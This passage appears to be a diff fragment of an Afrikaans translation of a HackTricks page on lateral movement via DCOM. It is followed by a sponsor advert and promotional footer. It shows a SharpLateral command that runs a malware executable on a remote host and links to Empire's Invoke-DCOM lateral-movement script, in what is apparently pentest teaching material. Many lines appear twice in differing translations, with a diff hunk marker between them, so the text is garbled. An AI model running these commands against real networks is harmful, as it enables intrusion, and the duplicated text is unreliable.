- **SharpLateral**: 'n Hulpmiddel wat ontwerp is vir die uitvoering van kode op afstand, wat gebruik kan word met die opdrag:
- **SharpLateral**: 'n gereedskap wat ontwerp is vir die afgeleë uitvoering van kode, wat gebruik kan word met die bevel:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## Outomatiese Gereedskap
* Die Powershell-skripsie [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) maak dit maklik om alle gekommentarieerde maniere om kode in ander masjiene uit te voer, aan te roep.
* Die Powershell-skrip [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) maak dit maklik om alle uitgekommentariseerde maniere om kode op ander rekenaars uit te voer, aan te roep.
* Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
@ -117,22 +110,16 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>